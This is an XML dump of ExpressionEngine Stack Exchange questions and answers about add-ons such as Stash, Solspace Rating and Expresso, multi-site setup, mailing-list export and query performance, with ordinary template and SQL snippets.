  <row Id="16803" PostTypeId="1" CreationDate="2013-11-15T20:04:10.787" Score="1" ViewCount="64" Body="&lt;p&gt;I am using Solspace Rating to allow users to review and rate entries from several different channels. I have set up custom rating fields in the Rating module to store different rating criteria for the different channels, using up to a dozen different custom fields for reviews in one channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to allow users to search for reviews based on different criteria stored in the custom fields. The Rating module has no facility for doing this so I am having to work out my own way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I am able to build a custom SQL query, based on POSTed form field data, to use the EE Query module to successfully get the particular results I am after. However, I have not been able to find a way of paginating the results as the data from the form fields is lost when you click on the link to view the second page of results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else come across this problem with the Rating module before? If so, how have you managed to implement search for reviews, based on information that is only stored in the Rating custom fields and not in the channel entries that have been reviewed?&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2013-11-18T16:23:10.300" Title="How do I search reviews on information in custom ratings fields using Solspace Rating and paginate results?" Tags="|solspace|search|pagination|solspace-rating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16804" PostTypeId="1" CreationDate="2013-11-15T20:24:08.310" Score="2" ViewCount="683" Body="&lt;p&gt;I'm trying to create a way to edit a relationship field on the frontend via the channel form (the new safecracker name). The field appears well, but the search function at the top with the little magnifier doesn't work. It doesn't filter the entries.... Has someone been able to have that working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried with a playa field too and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simplified code. Did I miss something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;{exp:channel:form channel=&quot;events&quot; return=&quot;events/thanks&quot; entry_id=&quot;2&quot; }&#xA;    &amp;lt;input name=&quot;title&quot; type=&quot;text&quot; value=&quot;{title}&quot;&amp;gt;&#xA;    {field:persons}&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2368" LastActivityDate="2013-11-15T20:24:08.310" Title="Relationship field in channel form" Tags="|relationships|channel-form|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16805" PostTypeId="1" AcceptedAnswerId="16827" CreationDate="2013-11-15T20:34:29.300" Score="1" ViewCount="93" Body="&lt;p&gt;I'm about to begin a couple of multilingual websites using EE. I've been researching options and thought that MSM might be the best option as I'm able to have language specific URLs and a way to simplify site updates by multiple authors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not used MSM and am struggling to get it setup locally. I've got it running, but how do I create the URL's to the second domain locally. I really would love to have the address be local.domain.com/en for the default site and local.domain.com/fr for the secondary site. Is this done in MAMP Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second issue... I really want to continue using the Focus Lab Master Config, but I'm finding it confusing to setup with MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2013-11-16T18:09:55.633" Title="Multilingual site using MSM?" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16806" PostTypeId="1" CreationDate="2013-11-15T22:22:09.077" Score="2" ViewCount="134" Body="&lt;p&gt;Does somebody knows, if there is such an API for the filemanager. Just simple upload a file (simply as &lt;code&gt;base64_encode(file_get_contents())&lt;/code&gt;) not via a form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-11-16T15:27:38.337" Title="Filemanager API" Tags="|file-uploads|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16807" PostTypeId="1" CreationDate="2013-11-15T22:26:11.533" Score="1" ViewCount="79" Body="&lt;p&gt;I am trying to add top menu items using Taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First node gets created, lets say Home&#xA;The next one on the top menu is About Us and when I try to add a new node it takes Home as the parent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want home as the parent, instead it should be on the same level as home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am using Taxonomy 3.0.8.3 and EE 2.7.2&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2013-11-15T22:26:11.533" Title="Taxonomy restricting top navigation to single node" Tags="|navigation|taxonomy|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16808" PostTypeId="1" AcceptedAnswerId="16809" CreationDate="2013-11-15T22:30:28.883" Score="2" ViewCount="180" Body="&lt;p&gt;I'm hoping this is a simple question to answer ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I download an ExpressionEngine mailing list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can easily add emails to an existing or new mailing lists however I can not work out how to download a list (in a spreadsheet or similar).&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2013-11-16T15:51:08.727" Title="Download mailing list" Tags="|email|plugin|mailinglist|mailing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16809" PostTypeId="2" ParentId="16808" CreationDate="2013-11-16T01:10:29.740" Score="4" Body="&lt;p&gt;You should be able to do this with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&quot; rel=&quot;nofollow&quot;&gt;query module&lt;/a&gt; in a template (or with a query directly to your database, of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something simple like this should output what you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT email FROM exp_mailing_list WHERE list_id = '1'&quot;}&#xA;{email}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To improve this furher, you could use the &lt;a href=&quot;https://github.com/EllisLab/download-content&quot; rel=&quot;nofollow&quot;&gt;Download Content plugin&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:download_content filename=&quot;list.csv&quot;}&#xA;    {exp:query sql=&quot;SELECT email FROM exp_mailing_list WHERE list_id = '1'&quot;}&#xA;    {email}&#xA;    {/exp:query}&#xA;{/exp:download_content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should make the list download as a CSV file which can open in Excel. You may need to tinker with the spacing a bit (like removing the tabs) so you don't get blank lines in the file.&lt;/p&gt;&#xA;" OwnerUserId="197" LastEditorUserId="197" LastEditDate="2013-11-16T15:51:08.727" LastActivityDate="2013-11-16T15:51:08.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16810" PostTypeId="2" ParentId="16801" CreationDate="2013-11-16T01:30:16.333" Score="2" Body="&lt;p&gt;If you can get the total number of returned results (say, 10 videos) you could probably use one of the two add-ons below to return a random number in that range for a {if count == &quot;3&quot;} conditional?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/random-between&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/random-between&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/low-random&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/low-random&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just thinking outside the box with no experience with Channel Videos.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-11-16T01:30:16.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16811" PostTypeId="2" ParentId="16801" CreationDate="2013-11-16T01:46:24.940" Score="2" Body="&lt;p&gt;If you were to output your Channel Video tag loop into a Stash list, using &lt;code&gt;{stash:set_list}&lt;/code&gt;, then you could pull a random subset out via &lt;code&gt;{stash:get_list orderby=&quot;random&quot; limit=&quot;2&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are links, for more info: &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3aset_list%7D&quot; rel=&quot;nofollow&quot;&gt;Stash Set List&lt;/a&gt; and &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3aget_list%7D&quot; rel=&quot;nofollow&quot;&gt;Stash Get List&lt;/a&gt;. There also are lots of Stash list examples here on the EE Stack Exchange.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-16T01:46:24.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16812" PostTypeId="2" ParentId="16802" CreationDate="2013-11-16T02:02:07.900" Score="2" Body="&lt;p&gt;If your code above is in a Stash file (i.e., not a regular EE template), double-check to make sure that you have this Stash config set: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['stash_file_sync'] = TRUE;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had this happen to me a few times: I make a change in a Stash file, forget that I have that setting set to &lt;code&gt;FALSE&lt;/code&gt;, and wonder why my code isn't working as expected.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-16T02:02:07.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16813" PostTypeId="2" ParentId="16805" CreationDate="2013-11-16T02:47:48.770" Score="1" Body="&lt;p&gt;For your first issue you simply need to create a new folder say &quot;es&quot;. In that es folder you copy over your admin.php (or whatever you renamed it to) and your index.php file and update the paths. You'll also need to uncomment the bits about MSM as well. Have you looked at the MSM docs located here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/sites/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation is pretty good but if you still need assistance please make sure you have followed their instructions first and post any relevant issues you are having and we'll get you squared away!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-11-16T02:47:48.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16815" PostTypeId="1" CreationDate="2013-11-16T12:42:16.257" Score="3" ViewCount="676" Body="&lt;p&gt;I turned off the site in the config panel, General Configuration , Is system on? = no. Inside the config file, it’s set to no too. But even if it’s set to no, the site still online. I can still view the site when logged out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a fresh EE install System Offline not working works, so i guess it would be caused by a Plugin conflict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone had already had this issue ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i’m using EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stéphane&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2013-11-19T22:05:27.347" Title="System Offline problems" Tags="|plugin|config|system|offline|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16816" PostTypeId="2" ParentId="16815" CreationDate="2013-11-16T14:03:05.970" Score="4" Body="&lt;p&gt;is not possible that some add-on can be affected on this. You need to be sure, that you are not login as SuperAdmin. Because Super Admin can see site even in offline.&lt;/p&gt;&#xA;" OwnerUserId="2370" LastActivityDate="2013-11-16T14:03:05.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16817" PostTypeId="2" ParentId="16798" CreationDate="2013-11-16T14:03:12.853" Score="1" Body="&lt;p&gt;You can use addon &lt;a href=&quot;http://devot-ee.com/add-ons/stay-up-forever&quot; rel=&quot;nofollow&quot;&gt;Stay Up Forever&lt;/a&gt; for this purpose.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-11-16T14:03:12.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16818" PostTypeId="2" ParentId="16815" CreationDate="2013-11-16T14:40:01.267" Score="1" Body="&lt;p&gt;After &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/general_configuration.html#is-system-on&quot; rel=&quot;nofollow&quot;&gt;put your site offline&lt;/a&gt;, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/clear_cached_data_files.html&quot; rel=&quot;nofollow&quot;&gt;clean up the system cache&lt;/a&gt;. Open another browser and check the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also can copy &lt;code&gt;system/expressionengine/utilities/offline.html&lt;/code&gt; to your web root directory and rename it to &lt;code&gt;index.html&lt;/code&gt;. If your server is configured to look first for html files, the site goes offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your server isn't sending a long cache time of html or files without extension to the browsers. On Nginx, look up for the &lt;code&gt;expires&lt;/code&gt; setting. On Apache, look up for &lt;code&gt;ExpiresByType text/html&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-11-16T14:40:01.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16819" PostTypeId="2" ParentId="16798" CreationDate="2013-11-16T15:06:40.757" Score="5" Body="&lt;p&gt;Change the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&quot;&gt;&lt;strong&gt;Control Panel Session Type&lt;/strong&gt;&lt;/a&gt; to &quot;Cookies only&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Control Panel Location: Admin ‣ Security and Privacy ‣ Security and Sessions&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Only cookies are used to track the admin user. When this setting is&#xA;  used a “remember me” checkbox will appear next to the Control Panel&#xA;  login page, enabling users to stay permanently logged in.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-16T15:06:40.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16820" PostTypeId="2" ParentId="16815" CreationDate="2013-11-16T15:16:40.873" Score="4" Body="&lt;p&gt;You shouldn't see the site in online mode if you have set &lt;code&gt;$config['is_system_on'] = 'n';&lt;/code&gt; in your config.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are seeing the site, I'd guess one of the following is true:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You are editing the wrong config.php file&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You are still logged into the control panel as a SuperAdmin. Clear browser cookies to be sure and confirm that you see the login screen when loading &lt;code&gt;domain.com/admin.php&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have something other than &lt;code&gt;$config['is_system_on'] = 'n';&lt;/code&gt; set in your config file, perhaps a misspelling?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have multiple instances &lt;code&gt;of $config['is_system_on']&lt;/code&gt; set in your config file... one near the top turning it off and one later turning it off.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The EE cache needs to be manually cleared via FTP&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-17T19:36:08.953" LastActivityDate="2013-11-17T19:36:08.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16821" PostTypeId="2" ParentId="16806" CreationDate="2013-11-16T15:27:38.337" Score="1" Body="&lt;p&gt;Sound like you need the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ExpressionEngine Add-On Development docs&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-16T15:27:38.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16822" PostTypeId="1" CreationDate="2013-11-16T15:46:30.303" Score="3" ViewCount="265" Body="&lt;p&gt;This is more an A than a Q.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last week I ran into no results / redirect problem with Stash and more precisely the EE's parsing order. The solution below worked for my case. I don't take credit for it as I found it either on the Devotee-forum for Stash or as a Gist someone was willing to share. I can't remember, after losing way to much time on this I didn't keep track. Anyway, thought I would share this as it may save others time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the template that collects the data...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set &#xA;parse_tags=&quot;yes&quot; &#xA;parse_conditionals=&quot;yes&quot; &#xA;parse_depth=&quot;2&quot; &#xA;no_results_prefix=&quot;nested&quot;&#xA;}&#xA;    {exp:channel:entries &#xA;    channel=&quot;YOURCHANNEL&quot; &#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot; &#xA;    status=&quot;open&quot; &#xA;    dynamic=&quot;no&quot;&#xA;    }&#xA;&#xA;        // channel entry data stuff here...&#xA;&#xA;        {if nested:no_results}&#xA;            {exp:stash:set_value name=&quot;no_results&quot; value=&quot;true&quot;}&#xA;        {/if} &#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{embed=&quot;YOURTEMPLATEGROUP/YOURTEMPLATE&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: parse_depth and no_results_prefix Stash parameters are necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the embed that outputs the data (the view)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:not_empty name=&quot;no_results&quot;}}&#xA;  {exp:stash:unset name=&quot;no_results&quot;}&#xA;  {redirect=&quot;home/404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="358" LastActivityDate="2015-08-24T09:24:51.297" Title="Handling no results redirect with Stash" Tags="|stash|parse-order|redirects|no-results|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16823" PostTypeId="2" ParentId="16785" CreationDate="2013-11-16T15:58:29.677" Score="0" Body="&lt;p&gt;The Store tag needs to go inside a Channel entries tag, something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot;}&#xA;{exp:store:product}&#xA;  {if on_sale}&#xA;  {title}&#xA;  Price: &amp;lt;del&amp;gt;{regular_price}&amp;lt;/del&amp;gt; &amp;lt;ins&amp;gt;{price}&amp;lt;/ins&amp;gt;!&#xA;  {/if}&#xA;{/exp:store:product}&#xA;{/exp:channel:entries&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-11-16T15:58:29.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16824" PostTypeId="2" ParentId="16665" CreationDate="2013-11-16T16:04:25.073" Score="2" Body="&lt;p&gt;One way to do this. You add a grid field for the heading value, then when you input data ensure that field is only present in the first row of a group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template code would then go something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say your grid name is sport_grid, and the grid has two field, grid_heading and grid_item&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{sport_grid}&#xA;{if sport_grid:sport_heading}&amp;lt;h1&amp;gt;{sport_grid:sport_heading}&amp;lt;/h1{/if}&#xA;{sport_grid:sport_item}&#xA;{/sport_grid}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what the tenplate is doing is only outputting the heading if it exists.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-11-16T16:04:25.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16825" PostTypeId="1" AcceptedAnswerId="16826" CreationDate="2013-11-16T16:09:19.693" Score="0" ViewCount="77" Body="&lt;p&gt;I am using Expresso with ExpressionEngine.  I was wondering if there is a way to know what product was just added to the cart on return after the product is successfully added to the cart?  I could add the {entry_id} to the end of the return parameter but was hoping there was a cleaner way of doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking to do is that after a product is added to the cart I want to display a modal window with some related accessories to the product that was just added to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2013-11-16T17:56:03.877" Title="ExpressionEngine &amp; Expresso - How to check if product was added to cart after return" Tags="|ee2|expresso|related-entries|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16826" PostTypeId="2" ParentId="16825" CreationDate="2013-11-16T17:56:03.877" Score="0" Body="&lt;p&gt;Just did a quick test and it appears Exp:resso cart show the most recently added item last in the cart items list so you could use the {if item:count == item:total_results} variable to do stuff, you may be able to use that to trigger your modal window...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;  {!-- output titles of items in cart __}   &#xA;  {title} &#xA;&#xA;  {!-- if the last item do something here --}&#xA;  {if item:count == item:total_results}&#xA;  TRIGGER SOMETHING&#xA;  {/if}&#xA;&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-11-16T17:56:03.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16827" PostTypeId="2" ParentId="16805" CreationDate="2013-11-16T18:09:55.633" Score="0" Body="&lt;p&gt;MAMP Pro will allow you to setup &quot;custom&quot; URLs for your local environment for each of the sites. I have mine on a separate laptop and then use a local IP Number (instead of local.domain.com) to access the laptop like a web server. Regular MAMP doesn't make this easy. So a local IP number would then give you access to &quot;en&quot; and &quot;fr&quot; as follows...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;192.168.0.2/fr&lt;/p&gt;&#xA;&#xA;&lt;p&gt;192.168.0.2/en&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(stack exchange won't let me post numeric IP numbers here so I'm afraid you'll have to figure that out)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But MAMP pro has to be setup for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by Mark Jr. for the MSM setup you would have two directories setup in MAMP, one for en and one for fr. The setup for the main one include the Exp Eng system directory and the cloned/copied site has its own directory that is essentially the same as the first but without the system directory. Then you use the admin.php and the index.php in the cloned directory to &quot;communicate&quot; with the Exp Eng system in the other directory. That's why you need to make sure you install and setup MSM as explained in the Exp Eng official documentation.&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-11-16T18:09:55.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16828" PostTypeId="1" CreationDate="2013-11-16T18:45:38.090" Score="1" ViewCount="164" Body="&lt;p&gt;Currently working on a new EE site that I've inherited, and having difficulty optimizing performance. Everything was dandy until I finished imported all the old content. Now there are ~700 page entries which cause some pages to take ~18 &lt;strong&gt;&lt;em&gt;SECS&lt;/em&gt;&lt;/strong&gt; to render!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have pages entries setup where you can checkbox multiple categories that the page would belong to. User can select multiple categories which a resulting page widget would filter and display entries that correspond with the selected categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Categories(example)&#xA;- News&#xA;--Featured&#xA;--Internal&#xA;--External&#xA;&#xA;- Year&#xA;--2013&#xA;--2012&#xA;&#xA;-Product&#xA;--Food&#xA;--Cars&#xA;--Tech&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a filter template (filter_template) that was made that apparently sorts through all page entries and displays content. I also have a higher level widget which passes the params to the template.  *categories is a WB Category Select type. probably a plugin from whom I inherited from.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/filter_template&quot; _cat_ids=&quot;{categories}{cat_id}|{/categories}&quot;}&#xA;--&amp;gt; passes to&#xA;{exp:channel:entries entry_id=&quot;{embed:_entry_ids}&quot; category=&quot;{embed:_cat_ids}&quot; limit=&quot;200&quot;...}&#xA;*Do stuff&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking through online forums, people are saying to convert the calls directly to ee sql queries. However, for the life of me, I'm really bad at SQL...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've managed to get the queries used by EE by using the output profiler. Now my question is how can I use this direct query within my page, so I can bypass EE channel calls?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*Grab All Entries*/&#xA;SELECT DISTINCT(t.entry_id) FROM exp_channel_titles AS t&#xA;                LEFT JOIN exp_channels ON t.channel_id = exp_channels.channel_id LEFT JOIN exp_channel_data AS wd ON t.entry_id = wd.entry_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id INNER JOIN exp_category_posts ON t.entry_id = exp_category_posts.entry_id&#xA;                         INNER JOIN exp_categories ON exp_category_posts.cat_id = exp_categories.cat_id WHERE t.entry_id !='' AND t.site_id IN ('1')  AND t.entry_date &amp;lt; 1384799111  AND (t.expiration_date = 0 OR t.expiration_date &amp;gt; 1384799111) AND exp_categories.cat_id = '58' AND t.status = 'open' ORDER BY t.sticky desc, wd.field_id_61 desc, t.entry_date desc, t.entry_id desc LIMIT 0, 200 &#xA;&#xA;&#xA;/*Grab relevant data text, links etc... of entries*/&#xA;SELECT  DISTINCT(t.entry_id),  t.entry_id, t.channel_id, t.forum_topic_id, t.author_id, t.ip_address, t.title, t.url_title, t.status, t.view_count_one, t.view_count_two, t.view_count_three, t.view_count_four, t.allow_comments, t.comment_expiration_date, t.sticky, t.entry_date, t.year, t.month, t.day, t.edit_date, t.expiration_date, t.recent_comment_date, t.comment_total, t.site_id as entry_site_id,&#xA;                        w.channel_title, w.channel_name, w.channel_url, w.comment_url, w.comment_moderate, w.channel_html_formatting, w.channel_allow_img_urls, w.channel_auto_link_urls, w.comment_system_enabled, &#xA;                        m.username, m.email, m.url, m.screen_name, m.location, m.occupation, m.interests, m.aol_im, m.yahoo_im, m.msn_im, m.icq, m.signature, m.sig_img_filename, m.sig_img_width, m.sig_img_height, m.avatar_filename, m.avatar_width, m.avatar_height, m.photo_filename, m.photo_width, m.photo_height, m.group_id, m.member_id, m.bday_d, m.bday_m, m.bday_y, m.bio,&#xA;                        md.*,&#xA;                        wd.*&#xA;                FROM exp_channel_titles        AS t&#xA;                LEFT JOIN exp_channels         AS w  ON t.channel_id = w.channel_id&#xA;                LEFT JOIN exp_channel_data    AS wd ON t.entry_id = wd.entry_id&#xA;                LEFT JOIN exp_members        AS m  ON m.member_id = t.author_id&#xA;                LEFT JOIN exp_member_data    AS md ON md.member_id = m.member_id WHERE t.entry_id IN (605,244,...717) ORDER BY t.sticky desc, wd.field_id_61 desc, t.entry_date desc, t.entry_id desc &#xA;&#xA;SELECT field_id, field_name FROM exp_category_fields WHERE site_id IN ('1') &#xA;&#xA;/*Grab category-filter information*/&#xA;SELECT c.cat_name, c.cat_url_title, c.cat_id, c.cat_image, c.cat_description, c.parent_id,&#xA;                        p.cat_id, p.entry_id, c.group_id , cg.field_html_formatting, fd.* &#xA;                FROM    (exp_categories AS c, exp_category_posts AS p)&#xA;                 LEFT JOIN exp_category_field_data AS fd ON fd.cat_id = c.cat_id&#xA;                            LEFT JOIN exp_category_groups AS cg ON cg.group_id = c.group_id&#xA;                WHERE    c.cat_id = p.cat_id&#xA;                AND        p.entry_id IN ('605','244'...'717') ORDER BY c.group_id, c.parent_id, c.cat_order &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help for a web dev just trying to piece it together?&lt;/p&gt;&#xA;" OwnerUserId="2270" LastEditorUserId="2270" LastEditDate="2013-11-18T18:33:38.980" LastActivityDate="2013-11-18T19:10:20.317" Title="Optimizing performance when sorting through hundreds of entries" Tags="|channel-entries|mysql|performance|optimization|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
